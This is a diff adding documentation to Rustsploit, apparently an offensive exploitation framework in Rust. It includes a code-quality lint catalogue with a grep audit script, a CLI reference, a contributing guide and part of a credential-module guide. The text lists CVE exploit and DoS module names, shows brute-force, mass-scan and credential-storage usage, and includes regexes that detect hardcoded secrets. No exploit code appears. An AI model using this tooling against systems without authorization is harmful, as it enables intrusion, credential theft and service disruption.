| K1 | `tokio::spawn(...)` not awaited / not held | Background task panic / error is invisible. | Hold the `JoinHandle` and `.await` it. |
|
||||
| K2 | `Mutex::new`, `RwLock::new` (`std::sync::*`) inside async modules | Blocking primitives + `.await` = potential deadlock. | `tokio::sync::Mutex`, `tokio::sync::RwLock`. |
|
||||
|
||||
## L. Crypto antipatterns — modules
|
||||
|
||||
These flag *uses* of broken or risky primitives. Many appear legitimately
|
||||
in the codebase as **protocol-required** auth flows (Postgres MD5 auth,
|
||||
MySQL SHA1 challenge, VNC/RDP single-DES password handling) — those are
|
||||
in the framework's `creds/` and `native/rdp.rs` and stay as-is. Module
|
||||
authors should **not** add new uses of any of these unless the target
|
||||
protocol forces it.
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| L1 | `\bmd5::compute\b\|\bmd5::Md5\b` | MD5 is collision-broken. Acceptable only for protocol auth (Postgres, RDP NTLMv1). | SHA-256+ for new code. |
|
||||
| L2 | `\bsha1::Sha1\b\|use sha1::` | SHA-1 broken. Acceptable only for MySQL native challenge. | SHA-256+. |
|
||||
| L3 | `\bdes::Des\b`, `\b3des\b`, `TripleDES` | DES weak (56-bit). Acceptable only for VNC RFB / Cisco type-7 / TightVNC password handling. | AES-256-GCM for new code. |
|
||||
| L4 | `rand::thread_rng\(\)` and `rand::random\(\)` for security-relevant randomness | Not guaranteed to be a CSPRNG. | `rand::rngs::OsRng` (or `getrandom::getrandom`). For non-security RNG (transaction IDs, jitter) `thread_rng()` is fine. |
|
||||
| L5 | `\bRC4\b\|rc4::` | RC4 broken. Acceptable only as scanner *targets* (e.g. `ssl_scanner` enumerating weak ciphers) and inside `crate::native::obfuscator_engine` (intentional shellcode-obfuscation method). | None for new code. |
|
||||
| L6 | ECB mode (`Ecb`, `aes-128-ecb`) | Pattern-leakage. | CTR / GCM. |
|
||||
|
||||
## M. SQL & command injection
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| M1 | `format!\("SELECT[^"]*\{\|format!\("INSERT[^"]*\{\|format!\("UPDATE[^"]*\{\|format!\("DELETE[^"]*\{` | Format-string SQL = injection. | Bind parameters via the database driver. For probes, hardcode the test payload as a constant string. |
|
||||
| M2 | `std::process::Command::new\("/bin/sh"\)`, `std::process::Command::new\("sh"\)`, `\.arg\("-c"\).*format!` | Shell-out with formatted user input = command injection. | Use `Command::new(prog).args([...])` with each argument as a separate `arg()` — no shell. |
|
||||
|
||||
## N. Concurrency / UB
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| N1 | `\bstatic\s+mut\b` | Mutable global = data race UB. | `Mutex<T>` / `RwLock<T>` / `Atomic*` / `OnceCell<T>` / `Lazy<T>`. |
|
||||
| N2 | `std::mem::transmute`, `std::mem::forget`, `std::mem::uninitialized`, `std::mem::zeroed` (outside `crate::native/*`) | UB-prone. | Stay inside `crate::native/*` for FFI. Module code never needs these. |
|
||||
| N3 | `std::ptr::read`, `std::ptr::write` | Raw pointer reads/writes outside `unsafe` ⇒ UB. | Use references; if FFI, contain in `crate::native/*`. |
|
||||
| N4 | `Result<\(\), String>`, `Result<.*,\s*String>` | Stringly-typed errors lose type information. | `anyhow::Result<T>`. |
|
||||
|
||||
## O. Performance / idiom hygiene
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| O1 | `\.iter\(\)\.count\(\)` | Walks whole iterator. | `.len()` if available. |
|
||||
| O2 | `\.collect::<\(\)>\(\)` | Collects into nothing. | `.for_each(...)` or just `for ... in`. |
|
||||
| O3 | `\.iter\(\)\.map\(\|x\|\s*x\.clone\(\)\)\s*\.collect` | `cloned().collect()` is shorter. | `.cloned().collect()`. |
|
||||
| O4 | `\.to_string\(\)\.as_str\(\)` | Round-trip allocation. | Drop the `.to_string()`. |
|
||||
| O5 | `Vec::with_capacity\(0\)`, `String::with_capacity\(0\)` | Pointless. | `Vec::new()` / `String::new()`. |
|
||||
| O6 | `Regex::new\(.*\)\.unwrap` in a hot path | Re-compiles on every call. | `once_cell::sync::Lazy<Regex>` at module scope. |
|
||||
| O7 | `Box::new\(.*Box::new` | Double allocation. | One `Box`. |
|
||||
|
||||
## P. Type / API hygiene
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| P1 | `pub static\s+\w+\s*:` (mutable) | Mutable global API surface. | Confine to `Lazy<RwLock<T>>` patterns; expose accessor functions, not the static. |
|
||||
| P2 | `#\[derive\(Debug\)\]` on a struct with a `password` / `secret` / `token` field | The `Debug` impl prints the secret; `format!("{:?}", obj)` leaks it to logs. | Custom `Debug` impl that redacts, or use `secrecy::Secret<T>`. |
|
||||
| P3 | `\bpub\s+const\s+\w+\s*:\s*&str\s*=\s*"http` | Hardcoded production URLs in pub constants are hard to override. | Constructor / config. |
|
||||
| P4 | TLS verification disabled in scanner clients (`accept_invalid_certs(true)`) | Acceptable for *security scanners* (target may be self-signed); banned in *clients* that talk to trusted services like the framework's own API. | The framework provides `HttpClientOpts::permissive` (scanner default) and `HttpClientOpts::strict` (when needed). Use the right one. |
|
||||
|
||||
## Q. Cargo.toml hygiene
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| Q1 | `^\s*[a-z_-]+ = "\*"` | Wildcard version: build can break on a transitive update. | Pin a major: `"1"` or `"1.2"`. |
|
||||
| Q2 | `^\s*[a-z_-]+\s*=\s*\{\s*git\s*=\s*"[^"]+"\s*\}` (no `rev`/`tag`/`branch`) | Git dep without rev = non-reproducible. | Add `rev = "..."`. |
|
||||
| Q3 | `path\s*=\s*` deps in a publish-target crate | Can't publish. | Replace with versioned dep before release. |
|
||||
|
||||
---
|
||||
|
||||
## Live audit reproducer
|
||||
|
||||
Save the list of authored module files (this command is good for several
|
||||
days; regenerate when modules are added):
|
||||
|
||||
```sh
|
||||
cd /home/kali/Downloads/rustpre2-main
|
||||
{
|
||||
cat <<'EOF'
|
||||
src/modules/exploits/network_infra/cisco/cisco_ise_api_inject_cve_2025_20281.rs
|
||||
src/modules/exploits/network_infra/apache_modssl_bypass_cve_2025_23048.rs
|
||||
src/modules/exploits/network_infra/arista_ngfw_disclose.rs
|
||||
src/modules/exploits/network_infra/checkpoint_fileread_cve_2024_24919.rs
|
||||
src/modules/exploits/network_infra/hpprocurve_disclose.rs
|
||||
src/modules/exploits/network_infra/hpprocurve_snac_inject.rs
|
||||
src/modules/exploits/network_infra/juniper_screenos_scanner.rs
|
||||
src/modules/exploits/cameras/galayou_g2_rtsp_bypass_cve_2025_9983.rs
|
||||
src/modules/exploits/cameras/xiongmai_xm530.rs
|
||||
src/modules/exploits/dos/apachebrpc_overflow_cve_2025_59789.rs
|
||||
src/modules/exploits/dos/http2_rapidreset_cve_2023_44487.rs
|
||||
src/modules/exploits/dos/px4_uav_dos.rs
|
||||
src/modules/exploits/voip/magnusbilling_ssrf_cve_2023_30258.rs
|
||||
src/modules/exploits/voip/xorcompbx_rce.rs
|
||||
EOF
|
||||
ls src/modules/exploits/webapps/*.rs | grep -vE "/(api_attack_suite|craftcms_key_rce_cve_2025_23209|craftcms_rce_cve_2025_47726|langflow_rce_cve_2025_3248|laravel_livewire_rce_cve_2025_47949|misp_rce_cve_2025_27364|nextjs_middleware_bypass_cve_2025_29927|sap_netweaver_rce_cve_2025_31324|vite_path_traversal_cve_2025_30208|zimbra_sqli_auth_bypass_cve_2025_25064|mod)\.rs$"
|
||||
} > /tmp/my_files.txt
|
||||
```
|
||||
|
||||
Then run the matrix:
|
||||
|
||||
```sh
|
||||
PATTERNS=(
|
||||
# A. Panicking error handling
|
||||
'\.unwrap\(\)' '\.expect\(' '\.unwrap_or_default\(\)' '\.unwrap_or\b' '\.unwrap_or_else\('
|
||||
'\.parse\(\)\.unwrap' '\.parse::<[^>]+>\(\)\.unwrap'
|
||||
'\.try_into\(\)\.unwrap'
|
||||
'\.first\(\)\.unwrap' '\.last\(\)\.unwrap' '\.next\(\)\.unwrap' '\.iter\(\).*\.unwrap'
|
||||
'\.chars\(\)\.next\(\)\.unwrap' '\.split\([^)]*\)\.next\(\)\.unwrap'
|
||||
'\.position\(.*\)\.unwrap' '\.iter\(\)\.find\(.*\)\.unwrap'
|
||||
'\.read_to_string\(.*\)\.unwrap' '\.lock\(\)\.unwrap'
|
||||
'\.expect_err' '\.unwrap_err'
|
||||
'panic!\(' 'unreachable!\(' 'todo!\(' 'unimplemented!\('
|
||||
'\bassert!\(' '\bassert_eq!\(' '\bassert_ne!\('
|
||||
# B. Silent error swallowing
|
||||
'Err\(_\)' 'Err\(_[a-zA-Z]\w*\)' 'if let Err\(_'
|
||||
'if let Ok\(' 'let\s+_\s*=' 'let\s+_[a-zA-Z]\w*\s*=.*\.await'
|
||||
'\.map_err\(\|_\|' '\.or_else\(\|_\|'
|
||||
'\.to_str\(\)\.ok\(\)' '\.json\([^)]*\)\.await\.ok\(\)'
|
||||
'\.send\(\)\.await\.ok\(\)' '\.text\(\)\.await\.ok\(\)'
|
||||
# C. Lint suppression
|
||||
'#\[allow\(' '#\[deny\(' '#\[ignore\b'
|
||||
# D. Panic vectors
|
||||
'\b[a-zA-Z_]\w*\[[0-9]+\][^=]'
|
||||
'\&[a-zA-Z_]\w*\[\.\.\w+\]'
|
||||
'\&[a-zA-Z_]\w*\[\w+\.\.\]'
|
||||
'\&[a-zA-Z_]\w*\[\w+\.\.\w+\]'
|
||||
'\.split_at\(' '\.chars\(\)\.nth\('
|
||||
# E. Numeric conversions
|
||||
'\bas\s+u(8|16|32|64)\b' '\bas\s+i(8|16|32|64)\b'
|
||||
'\bas\s+usize\b' '\bas\s+isize\b' '\bas\s+f(32|64)\b'
|
||||
'\bas\s+\*const\b' '\bas\s+\*mut\b'
|
||||
'\btransmute\(' '\bextern\s+"C"' '\bunsafe\s*\{' '\bunsafe\s+fn\b'
|
||||
# F. Async / blocking pitfalls
|
||||
'std::thread::sleep' 'std::process::Command'
|
||||
'std::fs::File' 'std::fs::read\b' 'std::fs::write\b'
|
||||
'std::net::TcpStream' 'std::net::UdpSocket' 'std::io::stdin'
|
||||
# G. Logging & output
|
||||
'\bdbg!\('
|
||||
'format!\(.*"\{:\?\}".*\b[eE]rr\b'
|
||||
'\.context\(""\)' '\.context\("\?"\)'
|
||||
# H. HTTP
|
||||
'reqwest::Client::new\(\)' 'reqwest::Client::builder\(\)'
|
||||
'\.send\(\)\.await\?[^.]'
|
||||
'\.text\(\)\.await\?[^.]'
|
||||
'format!\("\{:\?\}", \w+\)\.contains\('
|
||||
# I. Iterator glitches
|
||||
'\.collect::<Result<Vec<_>,\s*_>>\(\)\.unwrap'
|
||||
'\.zip\([^)]*\)\.unwrap'
|
||||
# J. Style / secrets
|
||||
'== ""' '\.len\(\) == 0' '\.len\(\) > 0'
|
||||
'String::from\(format!'
|
||||
'\.clone\(\)\s*\.clone' '\.to_string\(\)\s*\.to_string'
|
||||
'XXXXXX|TODO|FIXME|HACK\b'
|
||||
'Bearer\s+[A-Za-z0-9_.-]{40,}'
|
||||
'sk-[A-Za-z0-9]{20,}' 'AKIA[A-Z0-9]{16}'
|
||||
'"admin"\s*,\s*"admin"' '"root"\s*,\s*"root"'
|
||||
'Box<dyn'
|
||||
# L. Crypto antipatterns (modules)
|
||||
'\bmd5::compute\b|\bmd5::Md5\b'
|
||||
'\bsha1::Sha1\b|use sha1::'
|
||||
'\bdes::Des\b|\b3des\b|TripleDES'
|
||||
'rand::thread_rng\(\)' 'rand::random\(\)'
|
||||
'\bRC4\b|rc4::'
|
||||
'aes_128_ecb|aes-128-ecb|Ecb'
|
||||
# M. SQL & command injection
|
||||
'format!\("SELECT[^"]*\{' 'format!\("INSERT[^"]*\{'
|
||||
'format!\("UPDATE[^"]*\{' 'format!\("DELETE[^"]*\{'
|
||||
'std::process::Command::new\("/bin/sh"\)'
|
||||
'std::process::Command::new\("sh"\)'
|
||||
'\.arg\("-c"\).*format!'
|
||||
# N. Concurrency / UB
|
||||
'\bstatic\s+mut\b' 'std::mem::transmute' 'std::mem::forget'
|
||||
'std::mem::uninitialized' 'std::mem::zeroed'
|
||||
'std::ptr::read' 'std::ptr::write'
|
||||
'Result<\(\), String>' 'Result<.*,\s*String>'
|
||||
# O. Performance / idiom
|
||||
'\.iter\(\)\.count\(\)' '\.collect::<\(\)>\(\)'
|
||||
'\.iter\(\)\.map\(\|\w+\|\s*\w+\.clone\(\)\)\s*\.collect'
|
||||
'\.to_string\(\)\.as_str\(\)'
|
||||
'Vec::with_capacity\(0\)' 'String::with_capacity\(0\)'
|
||||
'Regex::new\(.*\)\.unwrap'
|
||||
'Box::new\(.*Box::new'
|
||||
# P. Type / API hygiene
|
||||
'\bpub\s+const\s+\w+\s*:\s*&str\s*=\s*"http'
|
||||
'#\[derive\(Debug\)\][^a-z]*pub\s+struct\s+\w+\s*\{[^}]*[Pp]assword'
|
||||
'#\[derive\(Debug\)\][^a-z]*pub\s+struct\s+\w+\s*\{[^}]*[Ss]ecret'
|
||||
'#\[derive\(Debug\)\][^a-z]*pub\s+struct\s+\w+\s*\{[^}]*[Tt]oken'
|
||||
)
|
||||
|
||||
failed=0
|
||||
for p in "${PATTERNS[@]}"; do
|
||||
c=$(xargs -a /tmp/my_files.txt grep -cE "$p" 2>/dev/null | awk -F: '{s+=$2}END{print s+0}')
|
||||
if [ "$c" -gt 0 ]; then
|
||||
failed=$((failed + c))
|
||||
printf " HIT [%4d] /%s/\n" "$c" "$p"
|
||||
xargs -a /tmp/my_files.txt grep -nE "$p" 2>/dev/null | head -3 | sed 's/^/ /'
|
||||
fi
|
||||
done
|
||||
|
||||
echo
|
||||
if [ "$failed" -gt 0 ]; then
|
||||
echo "BAD_PATTERNS: $failed hit(s) — fix before merge"
|
||||
exit 1
|
||||
else
|
||||
echo "BAD_PATTERNS: clean"
|
||||
fi
|
||||
```
|
||||
|
||||
## Codebase-wide observations (non-module code — for reference)
|
||||
|
||||
A whole-tree run (`find src -name '*.rs'`, ~486 files) for the same matrix
|
||||
also passes for `.unwrap()`, `.expect(`, `Box<dyn Error>`, `Result<T, ()>`,
|
||||
`static mut`, `transmute`, `panic!()`, SQL/command injection — the framework
|
||||
has been progressively hardened. The matches that *do* show up in non-module
|
||||
code are by-design and explained here so the catalogue and reality stay in
|
||||
sync:
|
||||
|
||||
| Pattern | Where | Why allowed |
|
||||
|---|---|---|
|
||||
| `md5::compute` | `src/native/rdp.rs`, `src/modules/creds/generic/postgres_bruteforce.rs` | RDP NTLMv1 / Postgres MD5 password auth — the protocol mandates MD5. |
|
||||
| `use sha1::` | `src/modules/creds/generic/mysql_bruteforce.rs`, `src/modules/exploits/safeline/pre_auth_tfa.rs` | MySQL native challenge-response uses SHA-1 by spec. |
|
||||
| `des::Des` | `src/modules/exploits/vnc/*`, `src/modules/creds/generic/vnc_bruteforce.rs`, TightVNC, TP-Link config blob | RFB / vendor blob format spec mandates single-DES. |
|
||||
| `RC4` (mention) | `src/modules/scanners/ssl_scanner.rs`, `src/native/obfuscator_engine.rs`, `src/modules/exploits/payloadgens/obfuscator.rs` | Scanner enumerates weak ciphers; payload obfuscator implements RC4 as one of 24 obfuscation methods. |
|
||||
| `rand::random()` | `src/native/rdp.rs`, `src/modules/scanners/snmp_scanner.rs`, `src/modules/scanners/nbns_scanner.rs` | Non-security RNG (transaction IDs, NetBIOS xid). |
|
||||
| `std::mem::zeroed()` | `src/native/network.rs`, `src/modules/exploits/dos/null_syn_exhaustion.rs` | All inside `unsafe { }` blocks for `libc::sockaddr_*` / `libc::rlimit` / `libc::mmsghdr` (FFI structs). |
|
||||
| `accept_invalid_certs(true)` / `danger_accept_invalid_certs(true)` | scanners + DoS modules | By design (P4) — security scanners must talk to self-signed targets. |
|
||||
| `UdpSocket::bind("0.0.0.0:0")` | DoS / scanner / px4 | Binding ephemeral *source* port for outbound — not a listener. |
|
||||
| `.lock().unwrap_or_else(\|e\| e.into_inner())` | `src/output.rs` (51 sites) | Standard "recover from poisoned mutex by re-using the inner data" — not `.unwrap()`, handles poison gracefully. |
|
||||
| `Result<(), String>` | `src/spool.rs` (3 sites) | Pre-existing API; `anyhow` migration is a separate refactor task tracked in `audit-findings.md`. |
|
||||
| `tokio::spawn(bg);` (no await) | `src/modules/scanners/dmarc_check.rs`, `dns_recursion.rs` | Intentional fire-and-forget heartbeats; the framework treats them as best-effort. |
|
||||
|
||||
These should *not* be propagated into new modules; the catalogue tables
|
||||
(L–P) document the strict rule.
|
||||
|
||||
## What to do when the script reports a hit
|
||||
|
||||
1. **Don't** silence with `#[allow(...)]` — that's banned (C1).
|
||||
2. **Don't** swap one banned pattern for another — e.g. replacing
|
||||
`.unwrap()` with `.unwrap_or_default()` is *worse* (a panic at least
|
||||
reports something; a silent default lies).
|
||||
3. **Do** consult the table for the appropriate fix idiom and use one of the
|
||||
helpers in `src/utils/network.rs`:
|
||||
- `crate::utils::http_get_status_body(&client, &url)`
|
||||
- `crate::utils::http_get_status_headers_body(&client, &url)`
|
||||
- `crate::utils::header_string(&headers, "name")`
|
||||
- `crate::native::hex::encode(&bytes)`
|
||||
- `crate::utils::url_encode(s)`
|
||||
|
||||
4. **Do** keep error context as the chain travels up — every `?` should be
|
||||
on a `with_context(|| ...)?` so debugging a mass scan tells the operator
|
||||
*which target* and *which step* failed.
|
||||
|
||||
## Pattern history (what each fix wave caught)
|
||||
|
||||
| Wave | Patterns added | Hits caught and fixed |
|
||||
|------|---|---|
|
||||
| 1 — Initial | A1, A2, A3, B1, B4, B5, B8, C1 | 92 modules with at least one match |
|
||||
| 2 — Wider | A4, A5, A13, A14, B2, B3, B6, B7, B9, C2, A15, J6 | 5 (timeout `Err(_)`, JSON ok-swallow, `_scheme` shims, `Ok(_)` on response) |
|
||||
| 3 — Deep | D1–D5, E1–E4, F1–F7, G1–G3, H1–H4 | 8 (debug-format version compare, `as u16/u64` casts, `&buf[..n]` raw slicing, `XXXXXX` placeholder URL, `buf[0]` direct index) |
|
||||
| 4 — Mega | I1, I2, J1–J5, K1, K2 | 0 |
|
||||
|
||||
`xargs -a /tmp/my_files.txt grep -cE … | awk -F: '{s+=$2}END{print s+0}'` ⇒
|
||||
**0** for every entry in the matrix above.
|
||||
@@ -0,0 +1,115 @@
|
||||
# CLI Reference
|
||||
|
||||
Rustsploit modules can be executed without the interactive shell using Clap-based flags. The CLI dispatcher (`src/cli.rs`) maps directly to the same modules used in the shell.
|
||||
|
||||
---
|
||||
|
||||
## Basic Syntax
|
||||
|
||||
```bash
|
||||
cargo run -- [FLAGS] -m <MODULE> -t <TARGET>
|
||||
```
|
||||
|
||||
Or if using the compiled binary:
|
||||
```bash
|
||||
./rustsploit [FLAGS] -m <MODULE> -t <TARGET>
|
||||
```
|
||||
|
||||
An optional positional argument (`exploit`, `scanner`, `creds`) can be used to specify the module category, but it is not required -- the dispatcher resolves modules by name automatically.
|
||||
|
||||
---
|
||||
|
||||
## Commands
|
||||
|
||||
| Flag | Values | Description |
|
||||
|------|--------|-------------|
|
||||
| `--module` / `-m` | module name or path | Module to execute (short name or qualified path) |
|
||||
| `--target` / `-t` | IP / hostname / CIDR | Target to run against |
|
||||
| `--set-target` | IP / hostname / CIDR | Persist a global target for all modules and exit |
|
||||
| *(positional)* | `exploit`, `scanner`, `creds` | Optional module category subcommand |
|
||||
|
||||
> There is no `-o key=value` flag. Per-module options are configured
|
||||
> interactively, via `set`/`setg` in the shell, or through a resource script
|
||||
> (`-r`). Run the module without the option set and answer the prompt, or
|
||||
> pre-seed it with `setg <key> <value>` in a startup `.rc` file.
|
||||
|
||||
---
|
||||
|
||||
## Global Flags
|
||||
|
||||
| Flag | Short | Description |
|
||||
|------|-------|-------------|
|
||||
| `--list-modules` | | Print all available modules and exit |
|
||||
| `--gen-module-catalog` | | Regenerate `docs/Module-Catalog.md` from the live registry and exit |
|
||||
| `--list-checkpoints` | | List on-disk scan checkpoints (`~/.rustsploit/checkpoints/`) and exit |
|
||||
| `--verbose` | `-v` | Enable detailed logging |
|
||||
| `--output-format` | | Control output: `text` (default) or `json` |
|
||||
| `--strict-tls` | | Verify TLS for all modules (default accepts self-signed certs) |
|
||||
| `--api` | | Start the PQ-encrypted REST + WebSocket API server |
|
||||
| `--mcp` | | Start as MCP (Model Context Protocol) server on stdio |
|
||||
| `--interface <addr:port>` | | Bind address for API server (default: `127.0.0.1`, port `:8080` appended) — requires `--api` |
|
||||
| `--pq-host-key <path>` | | PQ host key file (default: `~/.rustsploit/pq_host_key`) — requires `--api` |
|
||||
| `--pq-authorized-keys <path>` | | Authorized client keys file (default: `~/.rustsploit/pq_authorized_keys`) — requires `--api` |
|
||||
| `--pq-key-passphrase <pass>` | | Passphrase to encrypt the PQ host key at rest — requires `--api` |
|
||||
| `--trust-proxy` | | Trust `X-Forwarded-For` for client-IP attribution — requires `--api` |
|
||||
| `--resource` | `-r` | Execute a resource script file on startup |
|
||||
|
||||
---
|
||||
|
||||
## Examples
|
||||
|
||||
```bash
|
||||
# Run an exploit
|
||||
cargo run -- -m heartbleed -t 192.168.1.1
|
||||
|
||||
# Run a scanner
|
||||
cargo run -- -m port_scanner -t 192.168.1.1
|
||||
|
||||
# Run a credential module
|
||||
cargo run -- -m ssh_bruteforce -t 192.168.1.1
|
||||
|
||||
# Run using a qualified module path
|
||||
cargo run -- -m exploits/sample_exploit -t 127.0.0.1
|
||||
|
||||
# List all modules
|
||||
cargo run -- --list-modules
|
||||
|
||||
# Run with verbose logging
|
||||
cargo run -- -m exploits/sample_exploit -t 127.0.0.1 -v
|
||||
|
||||
# Run with JSON output
|
||||
cargo run -- -m port_scanner -t 10.0.0.1 --output-format json
|
||||
|
||||
# Execute a resource script
|
||||
cargo run -- -r scripts/scan.rc
|
||||
|
||||
# WhisperPair Fast Pair exploit — interactive BLE sub-shell (needs the bluetooth feature)
|
||||
cargo run --features bluetooth -- -m exploits/bluetooth/wpair
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Module Names
|
||||
|
||||
Modules can be referenced by:
|
||||
- **Short name:** `ssh_bruteforce`, `heartbleed`, `port_scanner`
|
||||
- **Qualified path:** `creds/generic/ssh_bruteforce`, `exploits/heartbleed`, `scanners/port_scanner`
|
||||
|
||||
Both forms resolve to the same module via `module::find()` (compile-time `inventory` registry).
|
||||
|
||||
Use `--list-modules` or the shell's `modules` command for the authoritative list.
|
||||
|
||||
---
|
||||
|
||||
## Error Handling & Warnings
|
||||
|
||||
| Situation | Message |
|
||||
|-----------|---------|
|
||||
| `-m` used without `-t` | `⚠ Warning: --module specified without --target. Launching shell...` |
|
||||
| `-t` used without `-m` | Target is stored and available in the interactive shell |
|
||||
|
||||
---
|
||||
|
||||
## Interactive Prompts in CLI Mode
|
||||
|
||||
If a module requires additional parameters (e.g., wordlist paths for brute-force), it will prompt interactively even in CLI mode. For automated pipelines, modules should use sensible defaults or accept environment variables where applicable.
|
||||
+1048
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,132 @@
|
||||
# Contributing
|
||||
|
||||
Contributions are welcome — bug reports, new modules, framework improvements, and wordlist additions are all appreciated.
|
||||
|
||||
---
|
||||
|
||||
## Workflow
|
||||
|
||||
1. **Fork** the repository and create a branch from `main`
|
||||
2. **Add your module** under the appropriate category in `src/modules/`
|
||||
3. **Register it** — add `pub mod your_module;` to the sibling `mod.rs`
|
||||
4. **Run checks:**
|
||||
```bash
|
||||
cargo fmt
|
||||
cargo check
|
||||
cargo test
|
||||
```
|
||||
5. **Open a PR** — describe what the module does, the CVE (if applicable), and how to test it
|
||||
|
||||
---
|
||||
|
||||
## Module Placement
|
||||
|
||||
| Type | Path |
|
||||
|------|------|
|
||||
| Exploit | `src/modules/exploits/<vendor_or_category>/` |
|
||||
| Scanner | `src/modules/scanners/` |
|
||||
| Credential | `src/modules/creds/generic/` or `creds/<vendor>/` |
|
||||
| Plugin | `src/modules/plugins/` |
|
||||
|
||||
Use subfolders for vendor families (e.g., `exploits/cisco/`, `exploits/cameras/`).
|
||||
|
||||
### Recommended: Add Module Metadata
|
||||
|
||||
Add an `info()` function describing your module. Rustsploit is **exploitation-only**
|
||||
— do not add a `check()` / `CheckResult` verification phase; modules run an exploit
|
||||
and report `Finding`s (see _Auto-Store Findings_ below).
|
||||
|
||||
```rust
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "My Module".to_string(),
|
||||
description: "What this module does.".to_string(),
|
||||
authors: vec!["Your Name".to_string()],
|
||||
references: vec!["CVE-XXXX-YYYY".to_string()],
|
||||
disclosure_date: Some("2025-01-15".to_string()),
|
||||
rank: ModuleRank::Good,
|
||||
default_port: Some(8080),
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Auto-Store Findings
|
||||
|
||||
**Native modules (preferred):** Emit `Finding` structs in `ModuleOutcome` — the
|
||||
scheduler routes them to LootStore, Workspace, and the events bus automatically:
|
||||
|
||||
```rust
|
||||
outcome.findings.push(Finding {
|
||||
target: target.to_string(),
|
||||
kind: FindingKind::Credential,
|
||||
message: format!("Valid SSH creds: {}:{}", user, pass),
|
||||
data: Some(serde_json::json!({"username": user, "password": pass})),
|
||||
});
|
||||
```
|
||||
|
||||
**Legacy modules:** Can still call framework helpers directly:
|
||||
|
||||
```rust
|
||||
crate::cred_store::store_credential(crate::cred_store::NewCred {
|
||||
host, port: 22, service: "ssh", username: &user, secret: &pass,
|
||||
cred_type: crate::cred_store::CredType::Password,
|
||||
source_module: "creds/generic/ssh_bruteforce",
|
||||
}).await;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Code Rules
|
||||
|
||||
These rules are enforced across the entire codebase:
|
||||
|
||||
- **No `unsafe` blocks.** Do not use `unsafe` Rust anywhere in module code (framework FFI in `src/native/` is the only exception).
|
||||
- **No dead code.** All code must be intentional and used. Do not leave unused functions, imports, or variables. No `#[allow(dead_code)]` or `_variable` suppression.
|
||||
- **All prompts must use `cfg_prompt_*()` variants** (from `src/utils/prompt.rs`), not raw `prompt_*()` functions. The `cfg_prompt_*` functions check API custom_prompts and global options before falling back to interactive stdin, which is required for API compatibility.
|
||||
- **All network connections must use framework wrappers** (`tcp_connect_str`, `tcp_connect_addr`, `blocking_tcp_connect`, `udp_bind`) — never raw `TcpStream::connect` or `UdpSocket::bind`. Third-party libraries must receive pre-connected streams.
|
||||
- **No error swallowing.** Every `Err(_)` must capture the error variable and log/display it. No `let _ = <result>`.
|
||||
- See [`BAD_PATTERNS.md`](BAD_PATTERNS.md) for the complete 95+ pattern audit checklist.
|
||||
|
||||
## Code Style
|
||||
|
||||
- Run `cargo fmt` — no manual formatting required
|
||||
- Use `[+]` / `[-]` / `[!]` / `[*]` prefixes for output (`.green()` / `.red()` / `.yellow()` / `.cyan()`)
|
||||
- Keep output concise and actionable
|
||||
- Document CVE IDs and affected products in comments and output
|
||||
- No `unwrap()` or `unwrap_or_default()` in critical paths — use `?` with `anyhow::Context`
|
||||
- All targets pass through `crate::utils::normalize_target` — no custom normalization
|
||||
|
||||
---
|
||||
|
||||
## Mass-Scan Compatibility
|
||||
|
||||
All modules automatically support mass scan via the scheduler's fan-out
|
||||
(CIDR, file, random, comma-separated targets). **Do NOT implement your own
|
||||
target iteration or `EXCLUDED_RANGES`.** The scheduler handles exclusions,
|
||||
concurrency, and honeypot detection.
|
||||
|
||||
Module-level requirements for mass-scan compatibility:
|
||||
- **Use target-specific filenames** — `format!("results_{}.txt", safe_target)`
|
||||
- **Guard interactive/REPL code** — `if is_batch_mode() { bail!("..."); }`
|
||||
- **Use framework network wrappers** — never raw `TcpStream::connect`
|
||||
- **No hardcoded timeouts in probes** — accept the user-configured timeout
|
||||
|
||||
---
|
||||
|
||||
## Wordlists
|
||||
|
||||
- Store under `lists/` and document in `lists/readme.md`
|
||||
- Prefer Seclists derivations or well-known public sources
|
||||
- Keep file sizes reasonable — large lists should support streaming
|
||||
|
||||
---
|
||||
|
||||
## Bug Reports & Ideas
|
||||
|
||||
Open a GitHub issue or reach out with PoCs. Feature requests and module ideas are appreciated — please open a discussion before large refactors.
|
||||
|
||||
---
|
||||
|
||||
> ⚠️ All contributions must target authorized security testing scenarios. Commit messages and module descriptions must reflect controlled research usage.
|
||||
@@ -0,0 +1,282 @@
|
||||
# Credential Modules Guide
|
||||
|
||||
Best practices for writing and extending brute-force / credential-checking modules.
|
||||
|
||||
---
|
||||
|
||||
## Preferred Pattern: `creds_helper::run`
|
||||
|
||||
New credential modules should use the shared harness in `src/utils/creds_helper.rs`
|
||||
instead of hand-rolling prompt/engine/loot logic. It handles: target parsing, TCP
|
||||
precheck, wordlist prompts, brute-force engine wiring, loot persistence, workspace
|
||||
tracking, and `Finding` emission — all in one call.
|
||||
|
||||
```rust
|
||||
use crate::utils::creds_helper::{self, CredsRun};
|
||||
use crate::utils::LoginResult;
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx.target.as_single().context("module requires a single-host target")?;
|
||||
creds_helper::run(
|
||||
target,
|
||||
CredsRun {
|
||||
service_name: "myproto",
|
||||
default_port: 1234,
|
||||
source_module: "creds/generic/myproto_bruteforce",
|
||||
defaults: &[("admin", "admin"), ("root", "")],
|
||||
password_only: false,
|
||||
},
|
||||
|host, port, user, pass, timeout| async move {
|
||||
probe(&host, port, &user, &pass, timeout).await
|
||||
},
|
||||
)
|
||||
.await
|
||||
}
|
||||
```
|
||||
|
||||
The probe closure receives five arguments: `(String, u16, String, String, Duration)`.
|
||||
